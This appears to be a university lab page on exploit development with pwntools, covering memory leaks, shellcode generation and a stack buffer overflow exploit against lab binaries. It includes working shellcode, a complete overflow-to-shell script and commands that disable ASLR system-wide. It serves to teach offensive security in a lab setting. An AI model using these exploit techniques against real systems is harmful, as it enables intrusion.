Lab 05 - Exploiting. Shellcodes (Part 2)

Intro

Starting from where we left off last session, you will find that in real-life scenarios, vulnerabilities leave you very little room to play with, so you have to be creative with your exploits.

Again, for this lab, we will be disabling ASLR as follows:

  • Disable it for a newly spawned shell (and subsequent processes):
    setarch i386 -R /bin/bash


    You can re-enable it by quitting the shell (such as using the exit command or the Ctrl+d shortcut).

  • Disable it system-wide:
    echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
  • You can re-enable it system-wide:
    echo 2 | sudo tee /proc/sys/kernel/randomize_va_space

Pwntools Tutorial

Even though pwntools is an excellent CTF framework, it is also an exploit development library. It was developed by Gallopsled, a European CTF team, under the context that exploit developers have been writing the same tools over and over again with different variations. Pwntools comes to level the playing field and bring together developers to create a common framework of tools.

Local and remote I/O

Pwntools enables you to dynamically interact (through scripting) with either local or remote processes, as follows:

IP = '10.11.12.13'
PORT = 1337
local = False
if not local:
    io = remote(IP, PORT)
else:
    io = process('/path/to/binary')
 
io.interactive()

We can send and receive data from a local or remote process via send, sendline, recv, recvline, recvlines and recvuntil.

Let's construct a complete example in which we interact with a local process.

#include <stdio.h>
 
int main(int argc, char* argv[])
{
	char flag[10] = {'S', 'E', 'C', 'R', 'E', 'T', 'F', 'L', 'A', 'G'};
	char digits[10] = {'0', '1', '2', '3', '4', '5', '6', '7', '8', '9'};
	int index = 0;
 
	while (1) {
		printf("Give me an index and I'll tell you what's there!\n");
		scanf("%d", &index);
		printf("Okay, here you go: %p %c\n", &digits[index], digits[index]);
	}
	return 0;
}

Let's leak one byte of the flag using pwntools.

#!/usr/bin/env python
from pwn import *
 
io = process('leaky')
 
# "Give me an index and I'll tell you what's there!\n
io.recvline()
 
# Send offset -10
io.sendline('-10')
 
# Here you go\n
result = io.recvline()
 
print(b"Got: " + result)
 
io.interactive()

If we run the previous script, we get the following output:

[+] Starting local process './leaky': Done
Got: Okay, here you go: 0xffe947d8 S
 
[*] Switching to interactive mode
[*] Process './leaky' stopped with exit code 0
[*] Got EOF while reading in interactive
$  

Notice the $ prompt which still awaits input from us to feed the process. This is due to the io.interactive() line at the end of the script.

We can encapsulate the previous sequence of interactions inside a function which we can loop.

#!/usr/bin/env python
from pwn import *
 
def leak_char(offset):
    # "Give me an index and I'll tell you what's there!\n
    io.recvline()
 
    # Send offset
    io.sendline(str(offset))
 
    # Here you go\n
    result = io.recvline()
 
    # Parse the result
    leaked_char = result.split(b'go: ')[1].split(b' ')[1].split(b'\n')[0]
    return leaked_char
 
io = process('leaky')
 
flag = ''
 
for i in range(-10,0):
    flag += leak_char(i).decode("utf-8")
 
print("The flag is: " + flag)
io.close()

If we run this script, we leak the flag.

$ ./demo_pwn.py 
[+] Starting local process './leaky': Done
The flag is: SECRETFLAG
[*] Stopped program './leaky'

Logging

The previous example was a bit… quiet. Fortunately, pwntools has nicely separated logging capabilities to make things more verbose for debugging and progress-viewing purposes. Let's log each of our steps within the leak_char function.

def leak_char(offset):
    # "Give me an index and I'll tell you what's there!\n
    io.recvline()
 
    # Send offset
    log.info("Sending request for offset: " + str(offset))
    io.sendline(str(offset))
 
    # Here you go\n
    result = io.recvline()
    log.info("Got back raw response: {}".format(result))
 
    # Parse the result
    leaked_char = result.split(b'go: ')[1].split(b' ')[1].split(b'\n')[0]
    log.info("Parsed char: {}".format(leaked_char))
    return leaked_char

Now the output should be much more verbose:

[+] Starting local process './leaky': Done
[*] Sending request for offset: -10
[*] Got back raw response: Okay, here you go: 0xffb14948 S
[*] Parsed char: S
[*] Sending request for offset: -9
[*] Got back raw response: Okay, here you go: 0xffb14949 E
[*] Parsed char: E
[*] Sending request for offset: -8
[*] Got back raw response: Okay, here you go: 0xffb1494a C
[*] Parsed char: C
[*] Sending request for offset: -7
[*] Got back raw response: Okay, here you go: 0xffb1494b R
[*] Parsed char: R
[*] Sending request for offset: -6
[*] Got back raw response: Okay, here you go: 0xffb1494c E
[*] Parsed char: E
[*] Sending request for offset: -5
[*] Got back raw response: Okay, here you go: 0xffb1494d T
[*] Parsed char: T
[*] Sending request for offset: -4
[*] Got back raw response: Okay, here you go: 0xffb1494e F
[*] Parsed char: F
[*] Sending request for offset: -3
[*] Got back raw response: Okay, here you go: 0xffb1494f L
[*] Parsed char: L
[*] Sending request for offset: -2
[*] Got back raw response: Okay, here you go: 0xffb14950 A
[*] Parsed char: A
[*] Sending request for offset: -1
[*] Got back raw response: Okay, here you go: 0xffb14951 G
[*] Parsed char: G
[*] The flag is: SECRETFLAG
[*] Stopped program './leaky'

Assembly and ELF manipulation

Pwntools can also be used for precision work, like working with ELF files and their symbols.

#!/usr/bin/env python
from pwn import *
 
leaky_elf = ELF('leaky')
main_addr = leaky_elf.symbols['main']
 
# Print address of main
log.info("Main at: " + hex(main_addr))
 
# Disassemble the first 14 bytes of main
log.info(disasm(leaky_elf.read(main_addr, 14), arch='x86'))

We can also write ELF files from raw assembly; this is very useful for testing shellcodes.

#!/usr/bin/env python
from pwn import *
 
sh_shellcode = """
        mov eax, 11
        push 0
        push 0x68732f6e
        push 0x69622f2f
        mov ebx, esp
        mov ecx, 0
        mov edx, 0
        int 0x80 
"""
 
e = ELF.from_assembly(sh_shellcode, vma=0x400000)
 
with open('test_shell', 'wb') as f:
    f.write(e.get_data())

This will result in a binary named test_shell which executes the necessary assembly code to spawn a shell.

$ chmod u+x test_shell
$ ./test_shell

Shellcode generation

Pwntools comes with the shellcraft module, which is quite extensive in its capabilities.

print(shellcraft.read(0, 0xffffeeb0, 20)) # Construct a shellcode which reads from stdin to a buffer on the stack 20 bytes
    /* call read(0, 0xffffeeb0, 0x14) */
    push (SYS_read) /* 3 */
    pop eax
    xor ebx, ebx
    push 0xffffeeb0
    pop ecx
    push 0x14
    pop edx
    int 0x80

It also works with other architectures:

print(shellcraft.arm.read(0, 0xffffeeb0, 20))
    /* call read(0, 4294962864, 20) */
    eor  r0, r0 /* 0 (#0) */
    movw r1, #0xffffeeb0 & 0xffff
    movt r1, #0xffffeeb0 >> 16
    mov  r2, #0x14
    mov  r7, #(SYS_read) /* 3 */
    svc  0
 
print(shellcraft.mips.read(0, 0xffffeeb0, 20))
    /* call read(0, 0xffffeeb0, 0x14) */
    slti $a0, $zero, 0xFFFF /* $a0 = 0 */
    li $a1, 0xffffeeb0
    li $t9, ~0x14
    not $a2, $t9
    li $t9, ~(SYS_read) /* 0xfa3 */
    not $v0, $t9
    syscall 0x40404

These shellcodes can be directly assembled using asm inside your script, and given to the exploited process via the send* functions.

  shellcode = asm('''
       mov rdi, 0
       mov rax, 60
       syscall
''', arch = 'amd64')
 

Most of the time you'll be working with as specific vulnerable program. To avoid specifing architecture for the asm function or to shellcraft you can define the context at the start of the script which will imply the architecture from the binary header.

context.binary = './vuln_program'
 
shellcode = asm('''
       mov rdi, 0
       mov rax, 60
       syscall
''')
print(shellcraft.sh())
 

GDB integration

Most importantly, pwntools provides GDB integration, which is extremely useful.

Let's follow an example using the vulnerable binary from the Lab 04 - Exploiting. Shellcodes tutorial.

#!/usr/bin/env python
from pwn import *
 
ret_offset = 72
buf_addr = 0x7fffffffd710
ret_address = buf_addr+ret_offset+16
 
# This sets several relevant things in the context (such as endianess,
# architecture etc.), based on the given binary's properties.
# We could also set them manually:
# context.arch = "amd64"
context.binary = "vuln"
p = process("vuln")
 
 
payload = b""
# Garbage
payload += ret_offset * b"A"
 
# Overwrite ret_address, taking endianness into account
payload += pack(ret_address)
 
# Add nopsled
nops = asm("nop")*100
 
payload += nops
 
# Assemble a shellcode from 'shellcraft' and append to payload
shellcode = asm(shellcraft.sh())
payload += shellcode
 
# Attach to process
gdb.attach(p)
 
# Wait for breakpoints, commands etc.
raw_input("Send payload?")
 
# Send payload
p.sendline(payload)
 
# Enjoy shell :-)
p.interactive()

Notice the gdb.attach(p) and raw_input lines. The former will open a new terminal window with GDB already attached. All of your GDB configurations will be used, so this works with PEDA as well. Let's set a breakpoint at the ret instruction from the main function:

gdb-peda$ pdis main
Dump of assembler code for function main:
   0x08048440 <+0>:	push   ebp
   0x08048441 <+1>:	mov    ebp,esp
   0x08048443 <+3>:	sub    esp,0x40
   0x08048446 <+6>:	lea    ebx,[ebp-0x40]
   0x08048449 <+9>:	push   ebx
   0x0804844a <+10>:	push   0x804a020
   0x0804844f <+15>:	call   0x8048300 <printf@plt>
   0x08048454 <+20>:	push   ebx
   0x08048455 <+21>:	call   0x8048310 <gets@plt>
   0x0804845a <+26>:	add    esp,0x4
   0x0804845d <+29>:	leave  
   0x0804845e <+30>:	ret    
   0x0804845f <+31>:	nop
End of assembler dump.
gdb-peda$ b *0x0804845e
Breakpoint 1 at 0x804845e
gdb-peda$ c
Continuing.

The continue command will return control to the terminal in which we're running the pwntools script. This is where the raw_input comes in handy, because it will wait for you to say “go” before proceeding further. Now if you hit <Enter> at the Send payload? prompt, you will notice that GDB has reached the breakpoint you've previously set.

You can now single-step each instruction of the shellcode inside GDB to see that everything is working properly. Once you reach int 0x80, you can continue again (or close GDB altogether) and interact with the newly spawned shell in the pwntools session.

Tasks

All content necessary for the CNS laboratory tasks can be found in the CNS public repository.

1. Passing shellcode through the environment

Navigate to the 1_env_var directory. Run make.

Analyse the vuln.asm source file. Notice that strncpy is used and that the buffer is not large enough to store our desired shellcode. In this task, you will use an environment variable, which as you may know will be present on the stack, to store our shellcode.

Write a small script script.py which prints an execve('/bin/sh', ['/bin/sh'], 0) shellcode preceded by a large (16k) NOP sled. Then, store this shellcode in an environment variable as follows:

$ export A=$(python ./script.py)

Next, use the getenv binary to find the (approximate) address of the environment variable on the stack

$ ./getenv A
Env var addr 0xfffdd1e7

You can also use pwntools to pass the env var:

from pwn import *
p = process(['./getenv', 'A'], env={'A': shellcode})
print(p.recvline())

This way you can do the whole exploit with a python script:

  1. run getenv to leak the address
  2. parse the output of getenv
  3. build the payload and send to vuln

This is the address at which you will return to.

2. Multistage exploit

Navigate to 2_640k and run make. Notice that what we're building is the asm file. The C source is there to show what the program is doing from a logical standpoint.

Since the buffer is not large enough to hold a proper shellcode, we're going to construct a two-stage exploit using pwntools. You can start from the skel.py file, if you want.

a. Leak the buffer address

Understand the logic of the program. Can you leak the address of the overflowing buffer somehow? Can you verify that your leak is correct?

b. Construct the first stage

You can use the leak to return exactly to the start of your buffer in order to use all of our available 20 bytes. Use them to call read(0, buf+return_offset, 200). Write a small shellcode which does this. Check using peda if the read is being called i.e. the program enters a blocked state in which it awaits input.

The padding nops added in skel.py will make sure that the second shellcode will flow from the first without additional jumps

c. Construct the second stage

Now that you are reading onto the stack further past the return address, you can write your proper shellcode there.

Understand that you are currently executing code from the stack. If your code changes after inadvertently modifying values on the stack, you should look for another solution.

This stage can be solved in different ways:

  • If you want to avoid jumping you can add /bin/sh at the end of the shellcode, the compute the sring address based on shellcode size
  • In order to get /bin/sh onto the stack, your shellcode could look something like this:
    jmp <offset> ; determine through trial and error
    '/bin/sh\0'
    ; code continues here


    This will effectively jump over the /bin/sh string on the stack, which you can then use for your shellcode. Without this initial jmp instruction, the string will be interpreted as instructions!

  • The ”call before defining a string” trick from the last session to get /bin/sh onto the stack might not work because it will probably overlap with the current stack (the call and pop instruction might overwrite the shellcode).

Resources

cns/labs/lab-05.txt · Last modified: 2022/11/07 14:44 by mihai.dumitru2201
CC Attribution-Share Alike 3.0 Unported
www.chimeric.de Valid CSS Driven by DokuWiki do yourself a favour and use a real browser - get firefox!! Recent changes RSS feed Valid XHTML 1.0